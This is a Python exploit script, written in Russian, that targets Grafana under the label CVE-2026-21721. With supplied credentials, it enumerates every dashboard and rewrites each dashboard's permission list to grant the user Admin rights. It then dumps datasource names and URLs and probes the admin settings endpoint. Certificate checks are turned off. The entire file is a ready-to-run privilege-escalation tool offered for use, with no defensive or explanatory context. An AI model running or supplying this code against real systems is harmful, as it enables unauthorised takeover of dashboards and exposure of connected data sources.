#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Grafana CVE-2026-21721 Exploit — Полная эскалация Чтение всех разрешений + попытка записи Admin на всех дашбордах """ import requests import urllib3 import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BASE_PATH = "/grafana" def print_banner(): print(""" ╔════════════════════════════════════════════════════════════╗ ║ CVE-2026-21721 Exploit — Полная эскалация до Admin ║ ║ На всех дашбордах ║ ╚════════════════════════════════════════════════════════════╝ """) def авторизоваться(session, url, логин, пароль): print(f"[+] Авторизация как {логин}") данные = {"user": логин, "password": пароль} r = session.post(f"{url}{BASE_PATH}/login", json=данные, timeout=12) print(f"[+] /login → {r.status_code}") if r.status_code != 200: print(f"[-] Ошибка авторизации: {r.text}") sys.exit(1) print("[+] Авторизация прошла успешно") def получить_user_id(session, url): r = session.get(f"{url}{BASE_PATH}/api/user", timeout=10) if r.status_code == 200: data = r.json() user_id = data.get('id') print(f"[+] Твой userId: {user_id}") return user_id print("[-] Не удалось получить userId") sys.exit(1) def получить_дашборды(session, url): print("\n[+] Получаем список всех дашбордов...") r = session.get(f"{url}{BASE_PATH}/api/search?type=dash-db&query=", timeout=10) if r.status_code != 200: print(f"[-] Ошибка получения списка: {r.status_code} {r.text}") return [] дашборды = r.json() print(f"[+] Найдено {len(дашборды)} дашбордов") return дашборды def прочитать_разрешения(session, url, uid): путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions" r = session.get(путь, timeout=10) if r.status_code == 200: print(f"[+] Чтение {uid[:12]}... → 200") return r.json() print(f"[-] Чтение {uid[:12]}... → {r.status_code} {r.text}") return [] def применить_admin_права(session, url, uid, user_id): print(f"\n[+] Становимся админом на {uid[:12]}...") текущие = прочитать_разрешения(session, url, uid) if not текущие: print("[-] Не удалось прочитать разрешения") return False обновлённые = [] добавлено = False for item in текущие: обновлённые.append(item) if item.get('userId') == user_id: item['permission'] = 4 добавлено = True if not добавлено: обновлённые.append({ "userId": user_id, "permission": 4 }) payload = {"items": обновлённые} путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions" r = session.post(путь, json=payload, timeout=10) print(f" → POST статус: {r.status_code}") print(f" Ответ: {r.text}") if r.status_code == 200: print(" [+] УСПЕХ: Admin права применены") return True return False def дамп_после(session, url): print("\n[+] Дамп после попыток") r_ds = session.get(f"{url}{BASE_PATH}/api/datasources", timeout=10) print(f" Datasources → {r_ds.status_code}") if r_ds.status_code == 200: for ds in r_ds.json(): print(f" {ds.get('name')}: {ds.get('url')}") r_set = session.get(f"{url}{BASE_PATH}/api/admin/settings", timeout=10) print(f" Настройки админа → {r_set.status_code}") def main(): print_banner() session = requests.Session() session.verify = False # ← Вот эта строка отключает проверку сертификата url = input("[+] Введи цель (например https://grafana.com): ").strip() логин = input("[+] Логин: ").strip() пароль = input("[+] Пароль: ").strip() if not url.startswith("http"): url = "https://" + url авторизоваться(session, url, логин, пароль) user_id = получить_user_id(session, url) дашборды = получить_дашборды(session, url) if not дашборды: sys.exit(1) for db in дашборды: uid = db.get("uid") название = db.get("title", "—")[:50] if not uid: continue применить_admin_права(session, url, uid, user_id) дамп_после(session, url) print("\n[+] Завершено. Зайди в UI и проверь вкладку Permissions на всех дашбордах") if __name__ == "__main__": main()